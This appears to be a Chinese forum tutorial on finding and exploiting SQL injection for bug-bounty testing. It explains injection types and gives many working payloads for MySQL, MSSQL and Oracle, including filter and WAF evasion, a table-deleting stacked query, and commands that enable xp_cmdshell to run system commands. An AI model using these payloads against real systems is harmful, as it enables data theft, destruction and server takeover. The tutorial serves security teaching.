作者:termsec
链接:https://www.kali.net.cn/thread/51458
写在开头,此文适用于小白以及src、众测选手,从了解SQL注入到如何高效快捷地快速挖到SQL注入漏洞,
一、了解SQL注入漏洞
二、SQL注入类型
三、众测SQL注入漏洞经验分享
---------------------------------------------------我是分割线---------------------------------------------------------------------
一、了解SQL注入漏洞
我们首先了解什么是SQL注入漏洞,SQL注入漏洞是什么
简单点说,即web系统对用户输入数据的合法性没有判断或过滤不严,用户或攻击者可构造SQL语句来执行非预期查询。
以dvwa为例讲解,
我们可以看到下方查询框中输入1,此时系统返回了两条数据
这时我们可以看下后端数据库执行的语句:
SELECT first_name, last_name FROM users WHERE user_id = ('1') LIMIT 1
可以看到数据库执行了user_id为1的条件查询
如果说此处查询框未对用户输入数据的合法性进行判断或过滤不严,就可能导致SQL注入漏洞。
比如我们输入1加一个单引号:1'
可以看到系统报错了,该查询框对用户输入的数据没有进行校验或过滤,导致用户输入的数据代入了数据库查询
看下后端的数据库SQL语句
可以看到SQL语句中多了一个单引号,此时数据库报错,
通过这里就可以明白,我们可以构造恶意的SQL语句来执行一些其他的查询
例如查询当前数据库的user值,
已知当前数据库语句为:SELECT first_name, last_name FROM users WHERE user_id = '1'
因为这里是报错型注入(下一章会详细讲解),
此处为我们可以使用报错函数构造' and 1=updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1
直接在查询框输入即可:
可以看到该系统的数据库user值已经通过报错的方式呈现出来
再看看后端数据库语句:
我们刚才恶意构造的SQL语句已经成功代入数据库查询
SELECT first_name, last_name FROM users WHERE user_id = '' and 1=updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1'
攻击者可以利用恶意构造的SQL语句,获取想要获取的信息。
二、SQL注入类型
SQL注入类型分为几种
什么是联合查询:
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。
联合查询注入条件需要有占位,什么是占位?
标红的都是从数据库取出数据显示在页面上的,这些都是占位,通过构造sql语句,可以在占位上呈现出想要的信息。
什么是布尔盲注:
布尔盲注指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
可以简单理解,布尔分为两种状态,即真(true)、假(false)
当我们在实战进行SQL注入的时候,系统不会返回我们想要的数据,只会返回真和假
示例:
为真时:
这里我们输入1,返回正常值,操作成功。
输入1'
此时数据库报错,系统前端页面显示异常、
也就是说,在后续的SQL注入中,系统只会返回操作成功和列表异常这两种状态,即真和假,通过返回状态来判断猜解数据,例如判断当前数据库的user值第一位为A,返回操作成功页面,否则列表异常页面。这就是布尔盲注。
什么是延时注入:
延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据
延时注入跟布尔盲注很像,布尔盲注是通过真和假来判断,效率较高,延时盲注是通过时间来判断,例如判断当前数据库的user值第一位为A,则延时5秒,否则直接返回。
示例:
以dvwa为例,刚才我们得知user值为root@localhost
我们构造语句:1' and if(substr(user(),1,1)='r',sleep(5),1)or'
该语句的意思为通过if函数判断,substr函数截取当前user值的第一位是否为r,如果为r,即返回sleep(5),如果不是r则返回1。
可以看到当user值第一位等于R时系统延时了5000毫秒即5秒。通过延时来判断数据,这就是延时注入。
什么是报错注入:
报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据。
简单说就是在测试的过程中系统对于一些SQL语句的错误,直接回显在了页面上,我们可以构造恶意语句直接通过页面回显查看我们想要的数据。
示例:
mysql报错:MySQL server version for the right syntax to use near
mssql报错:字符串 ')' 后的引号不完整
oracle报错:ORA-XXXXXX
如果在测试过程中出现了以上字样,那就说明可以使用报错函数来进行注入
mysql十大报错函数参考: https://www.cnblogs.com/zztac/p/11441292.html
mssql不需要报错函数,类型不匹配即可实现报错,例如1=user,即可返回当前数据库user值
oracle十大报错函数参考: https://www.jianshu.com/p/af12401bbfd9
什么是宽字节注入:
在使用PHP连接MySQL的时候,当设置“set
character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉。
举例:当我们提交id=1' and 1=1%23
数据库执行的语句为:select * from user where id ='1\' and 1=1#'
这里将单引号转义了,无法注入成功
我们提交id=1%df' and 1=1%23
数据库执行的语句为:select * from user where id ='1運' and 1=1#'
成功闭合,达到逃逸的效果
宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
什么是堆叠查询注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。如果我们在 ; 结束一个sql语句后继续构造下一条语句,数据库会一起执行,所以这也就造就了堆叠注入。
示例:
Select * from products where productid=1;DELETE FROM products
当执行命令后,第一条显示查询信息,第二条则将整个表进行删除,这就是堆叠注入。
三、众测SQL注入漏洞经验分享
看到这里,相信大家已经对SQL注入有了一个大致的了解,接下来就讲一下众测的一些经验分享。
在众测中,大佬们的手速是非常快的,10分钟项目暂停,20分钟项目结束,我们提交上去除了重复还是重复。
正文:
挖掘SQL注入:
首先我们要了解SQL注入的精髓是什么,是if(1=1,1,1)
在大企业项目中常见的数据库中我们见得最多的是mysql以及oracle
首先,我们该如何挖掘SQL注入,有交互的地方就会存在SQL注入漏洞,在测试的过程中,我们可以使用单引号来测试,一个单引号报错,两个单引号闭合为真,万变不离其宗,只要符合这个特征,符合数据库原理,那么极有可能存在SQL注入漏洞。
我们可以通过返回包状态来判断是否存在
我们可通过http状态码以及length长度和返回的内容来进行判断
单个单引号返回错误,双个单引号返回正常
如果是数字型的参数,可通过减法、除数来快速判断存在注入。
例如:
http://127.0.0.1/shell.php?id=1
这里id=1,看下数据库后端执行的SQL语句
数据库执行的sql语句为:select * from users where user_id=1
可以看到数字1是没有被单引号包裹的,说明此处为数字型注入,
如何快速判断数字型注入,可以使用减法,我们可以输入2-1
可以看到返回结果和1是一样的,看下数据库执行的语句
可以看到代入数据库查询了,数据库执行运算了2-1,说明此处可控,存在数字型注入
也可以使用除法1/1、1/0来判断,1/1为真,1/0为假。
后面会讲如何通过除数来注入,通过以上两个方式可以快速判断是否存在SQL注入漏洞。
判断数据库类型:
大家在挖掘到sql注入的时候不知道数据库类型,接下来大家讲解下如何快速判断数据库类型。
iis+asp.net可以初步判断为mssql、oracle
php+apache+nginx可以初步判断为msyql、oracle、PostgreSQL
在挖到sql注入漏洞时,首先第一步是判断数据库类型
我们可以通过管道符来测试、'||'
可以看到通过管道符''系统返回了所有数据,该条件类似or永真,如果输入''系统返回真,即可排除mssql数据库,因为mssql数据库不支持管道符,说明此系统可能为mysql或oracle数据库。
既然得知该系统可能为mysql或oracle,继续判断是什么数据库
这里可以使用一个函数、exp函数
简单讲下,mysql的特征是exp的值到710就会报错,1-709是不会报错的,看看数据库执行结果
实例:
exp(709):
exp(710):
通过此方法可以判断出该系统为mysql数据库
第二种方法使用运算符:(2*1e308)
原理一样,1E308是一个阈值,也就是临界值,到了这个值就会报错,没到就不会报错。
第三种方法(select 1 union select 2):
此方法适用于exp以及2*1e308不报错的情况下,因为在实战中可能会遇到exp(710)不会报错
示例:
'(case when 1=1 then 1 else (select 1 union select 2) end)'
'(case when 1=2 then 1 else (select 1 union select 2) end)'
oracle数据库判断:
oracle数据库也适用于exp函数,但是oracle没有一个固定的临界值。
举例:
可以输入exp(1)看看返回结果,如果返回真,再输入exp(100)、exp(300)、exp(500),如果后面报错的话可以判断为oracle数据库,也许在300多报错,也许在500多报错,没有固定的值,但是exp(1)肯定是不会报错的,如果报错,说明函数过滤或不可用。
另外也可以使用oracle的一些函数来测试是否能够报错
例如1/0、ln(-1)、sqrt(-1)、1-(select 1 from dual union select 2 from dual)等等
MSSQL数据库判断:
exp函数也同样使用于mssql数据库,也是710报错,另外也可以通过len函数以及iif函数来判断,mssql特征过于明显,这里不过多描述。
快速出数据:
到了最关键的一步,如何快速出数据,在众测或者是src中,我们往往需要通过注入出数据才能证明漏洞。
下面就讲下如何快速出数据
大家常用的语句想必是case when...
那么接下来就以case when为例讲解
什么是case when函数:
可以简单理解为if else,即判断当前条件是否为真,为真返回值,为假则进入else条件。
看一条语句
case when 1=1 then 1 else 0 end
该语句意思为 1=1时返回1,否则返回0
看数据库是如何执行的:
这样就很容易理解了吧
上面讲到了SQL注入的精髓是什么,是if(1=1,1,1)
如果我们把这个函数代入sql注入中,那么你就成功了一半了
dvwa示例(布尔盲注示例):
在实战中,我们只需要看三个地方,一个是自己输入的值,二、HTTP状态码、三、length长度,此处为布尔盲注,返回内容不用管,如果是报错注入,会在返回内容报错呈现出我们想要的信息。
此处布尔盲注我们可以接入case when进行注入
首先加入单引号查看返回值:
两个单引号查看返回值:
可以看到一个单引号的时候,数据库报错了,系统返回状态为404,length长度值为5366,
两个单引号的时候系统返回真,状态码200,length长度值为5360
我们就可以理解系统在真的情况下返回5360,假的情况下返回5366
接下来我们键入cashe when 函数
mysql、oracle可通用管道符、'(语句)'
'(case+when+1=1+then+1+else+exp(710)+end)'
这条语句的意思即1=1时返回1,否则返回exp(710),exp(710)上面讲了,直接报错
先看看1=1和1=2的返回结果
这里我们就根据系统返回的页面不同、真假差异来进行SQL注入
例如我们通过substr函数截取当前数据库user值第一位:
substr(user(),1,1)='r'
代入case when就是'(case+when+substr(user(),1,1)='r'+then+1+else+exp(710)+end)'
如果当前user值第一位是r的话系统返回1也就是真,状态码为200,length长度为5360
如果我们输入a,系统即报错
我们可以通过遍历26个字母显得更直观:
注意,根据系统以及数据库不同可能返回长度和状态码会有差异。
如果你成功了构造了case when 函数,那么可以在1=1条件处构造自己想要执行的SQL语句。
我们可以看看sqlmap的布尔盲注的payload,都是通过case when来完成
mysql如何快速出数据:
实战中遇到的mysql数据库一般分为布尔、报错,一般情况下mysql常用的函数为user()、current_user
mysql可用函数:
database() //获取当前数据库
version() //获取数据库版本
user() //获取用户
current_user //获取用户
@@datadir //获取数据库路径
@@version_compile_os //获取操作系统
@@basedir //mysql安装路径
session_user() //获取连接数据库的用户名
current_user() //获取当前用户名
current_user //获取当前用户名
system_user() //获取系统用户名
@@version //获取数据库版本
布尔:
我们在挖到一个SQL注入的时候,首先想的是构造语句闭合来执行我们的恶意语句。
这里可以使用mysql、oracle通用的管道符、\'||',如果遇到waf拦截,可以在管道符中间添加空格'|+|'
在src、众测实战中我们往往需要快速出数据,
一般情况下,我们在挖掘SQL注入的时候,遇到的布尔盲注排在第一位,其次是报错
延时盲注一般都是扫描器扫出来的,为了提高效率,可以通过数据库报错函数转换成布尔盲注。
通用语句:
'(case+when+(语句)+then+1+else+exp(710)+end)'
使用管道符闭合SQL语句'(语句)'
'if(substr(user(),1,1)='r',1,exp(710))'
使用模糊匹配出数据:
' and user() like 'a%
使用substr函数截取出数据:
' and substr(user(),1,1)='r
我们在测试SQL注入出数据的时候,首先需要构造一个布尔的状态,即真和假
那么如何构造,上面说了一些报错函数,那么我们可以先用管道符来闭合SQL语句
然后在构造一个布尔的状态,来执行我们想要执行的SQL语句
先看第一条语句:
'(case when(语句)then 1 else exp(710) end)'
这里语句框我们可以构造自己想要执行的任何SQL语句
因为布尔状态已经构造成功,为真时返回1,即为真,如果为假,系统返回exp(710)函数直接报错。
示例:
'(case when substr(user(),1,1)='r' then 1 else exp(710) end)'(截取当前user值第一位是否为r,为r返回1,否则报错)
'(case when user() like 'r%' then 1 else exp(710) end)'(模糊匹配user值第一位是否为r,为r返回1,否则报错)
'(case when length(user())=14 then 1 else exp(710) end)'(获取user值长度是否为14,为14返回1,否则报错)
假设我们不可使用case when函数,我们可以使用if函数
'if((语句),1,exp(710))'
大家可以查看mysql手册,寻找自己所需要的的函数进行测试
在实际测试过程中,我们经常会遇到系统无法报错,这是因为数据表里无数据,数据库执行了空表查询,我们可以通过新建一条数据来达到报错效果.
除了使用管道符来闭合SQL语句,我们还可以使用and或者or来构造闭合
例如:' and 1=1 and '1'='1,') and 1=1 and('1'='1
1=1 就是可输入语句的位置,可构造自己想要执行的任意语句
过滤逗号和for:
substr(user()from(1))='a'
mid(user()from(1))='a'
过滤单引号:
ord(mid(user(),1,1))=114(114为字母r的ascii码)
ascii(mid(user(),1,1))=114
hex编码注入:
(case when current_user like 0x2525 then 1 else 2*1e308 end)
布尔盲注:
(CASE WHEN substr(user(),1,1)='A' THEN 1 ELSE 1*(SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS) END)
(PLUGINS表提供有关服务器插件的信息。利用该表进行基于布尔的报错盲注。)
示例:
延时注入:
' AND if(substr(user(),1,1)='r',sleep(5),1) AND 'TERM'='TERM(user值第一位为r时延时,不为r时返回1)
sleep不可用时:
SELECT if(substring(user(),1,1)='r',BENCHMARK(10000000,md5('a')),1);user值第一位为r时延时,不为r时返回1
order by 后注入:
在实战测试过程中,经常会看到“&sort=id&order=desc”这样的参数,这是排序字段,asc是升序,desc是降序,系统在开发的过程中很有可能忽略对这个参数进行过滤
这个参数是在order by后的,我们可以使用逗号来闭合
先看执行过程:
可以看到该参数的作用是对数据进行排序,假设在实战中遇到这样的参数我们可以使用逗号来闭合
例如:
&sort=id&order=desc,(case when 1=1 then 1 else exp(710) end)
或者可以使用减号
&sort=id-(case when 1=1 then 1 else 0 end)&order=desc
也可以使用and或or
&sort=id and if(1=1,1,1)&order=desc
还可以使用RLIKE
&sort=id&order=price RLIKE (SELECT (CASE WHEN (9454=9454) THEN 0x7072696365 ELSE 0x28 END))
注意:以上payload仅供参考,在实战过程中可能有差异,具体需自己测试,
MSSQL快速出数据:
current_user 返回当前用户的名字
datalength 返回用于指定表达式的字节数
Host_name 返回当前用户所登陆的计算机名
system_user 返回当前所登陆的用户名称
user_name 从给定的用户ID返回用户名
user_name() 从给定的用户ID返回用户名
user_id() 返回指定用户名的用户ID
SUSER_SNAME() 返回指定安全ID的登录名
SUSER_SID() 返回指定用户的登录名的安全ID
MSSQL一般情况下报错注入居多,类型不匹配即可报错,不需要报错函数。
例如'and 1=user--+,即可返回当前数据库user值。
同时mssql也是支持exp和case when函数的
可以通过构造and、or语句闭合来执行我们的语句
例如' and 1=user and '1'='1、' and 1=(case when 1= 1 then 1 else 0 end) and '1'='1
如果是数字型注入,可以直接用减号来出数据,1-db_name()
又或者1-iif(1=1,1,1),1-(case when 1=1 then 1 else 0 end)
MSSQL 常见截取函数:
substring()
left():使用模糊匹配
例:left(user,2)='db'
right():返回从字符串右边开始指定个数的字符
select right('SqlServer_2008',4)
返回:2008
判断当前数据库是否为sa:
';if system_user='sa' waitfor delay '0:0:5'--
开启cmd_shell存储:
id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE ; -- '
执行命令:
';exec master..xp_cmdshell "whoami"
oracle快速出数据:
在众测实战中遇到的金融、银行、企业使用的oracle数据库较多
爆数据库版本:
select banner from v$version where rownum=1
查看当前数据库:(SELECT name FROM v$database)
当前数据库账号:(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)
判断当前系统是否为windows:(select member from v$logfile where rownum=1)
获取服务器SID:(select instance_name from v$instance) from dual
获取表名:select table_name from user_tables where rownum=1
获取字段:(select column_name from user_tab_columns where table_name='表名' and rownum=1)
页面返回正常,说明是oracle数据库:
and (select count (*) from dual)>0
当前用户权限 (select * from session_roles)
服务器监听IP (select utl_inaddr.get_host_address from dual)
服务器操作系统 (select member from v$logfile where rownum=1)
服务器sid ( 远程连接的话需要, select instance_name from v$instance)
当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)
在判断数据库时可以用'and 1=(select 1 from dual) '%'=' 语句来判断,页面正常则为oracle数据库。
上面说了oracle支持管道符,同时也支持case when函数,oracle我们可以使用decode函数来快速出数据。
decode函数用法:
可以简单理解为if函数、case when函数用法一致。
示例:
decode函数盲注:
'decode(substr(user,1,1),'W',1,1/0)'(判断当前数据库user值第一位是否为W,如果是,则返回1,否则返回1/0)
上面讲了很多报错函数,可以根据系统不同自己测试使用
在oracle数据库可以利用除数特性来除以0达到报错(mssql也支持),也可以使用exp函数报错
exp函数(随机数值)
使用case when获取数据:
'(case+when+substr(user,1,1)='J'+then+1+else+exp(8888)+end)'
闭合判断:
') OR 1=(CASE WHEN substr(user,1,1)='A' THEN 1 ELSE 1/0 END) AND ('1'='1
主题词表盲注:
' AND 1=(CASE WHEN substr(user,1,1)='A' THEN NULL ELSE CTXSYS.DRITHSX.SN(1,1) END) AND 'oFWf' LIKE 'oFWf
order by 后注入(sort参数):
sort=desc,(SELECT (CASE WHEN substr(user,1,1)='A' THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
select 1 union select 2:
select (case when 1=1 then null else 2*(SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) end) from dual;
判断user长度:
select length(user) from dual
select vsize(user) from dual
截取user值:
decode(substr(userenv('CURRENT_USER'),1,1),'W',1,0)
oracle支持的函数:
SYS_CONTEXT('USERENV','CURRENT_USER') current_user,
SYS_CONTEXT('USERENV','CURRENT_SCHEMA') current_user,
SYS_CONTEXT('USERENV','SESSION_USER') session_user,
SYS_CONTEXT('USERENV','DB_NAME') db_name,
SYS_CONTEXT('USERENV','OS_USER') os_user
如遇到系统无法报错,这是因为数据表里无数据,数据库执行了空表查询,我们可以通过新建一条数据来达到报错效果
只要懂得原理,通过构造布尔的状态,查阅oracle函数手册,合理搭配运用函数,都可以达到获取自己想要的数据的效果